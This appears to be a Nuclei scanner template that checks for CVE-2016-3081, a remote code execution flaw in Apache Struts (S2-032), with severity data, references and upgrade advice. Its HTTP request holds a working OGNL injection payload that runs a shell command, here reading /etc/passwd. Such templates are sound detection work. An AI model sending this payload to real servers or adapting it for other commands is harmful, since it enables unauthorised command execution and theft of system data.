Apache S2-032 Struts - Remote Code Execution

id: CVE-2016-3081

info:
  name: Apache S2-032 Struts - Remote Code Execution
  author: dhiyaneshDK
  severity: high
  description: |
    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).
  impact: |
    Remote code execution
  remediation: |
    Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-032
    - https://struts.apache.org/docs/s2-032.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-3081
    - http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665
    - http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-3081
    cwe-id: CWE-77
    epss-score: 0.97524
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
  tags: cve2016,cve,struts,rce,apache

http:
  - raw:
      - |
        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ac77a59d24373f8a33371c90c7e4275bd9cbd672278167a927b6b04d2066a1c4022100dc07b95c4a8afd4591d4fb49d9ac62d4cb34ac923b85398daa0a4e82aad7710d:922c64590222798bb761d5b6d8e72950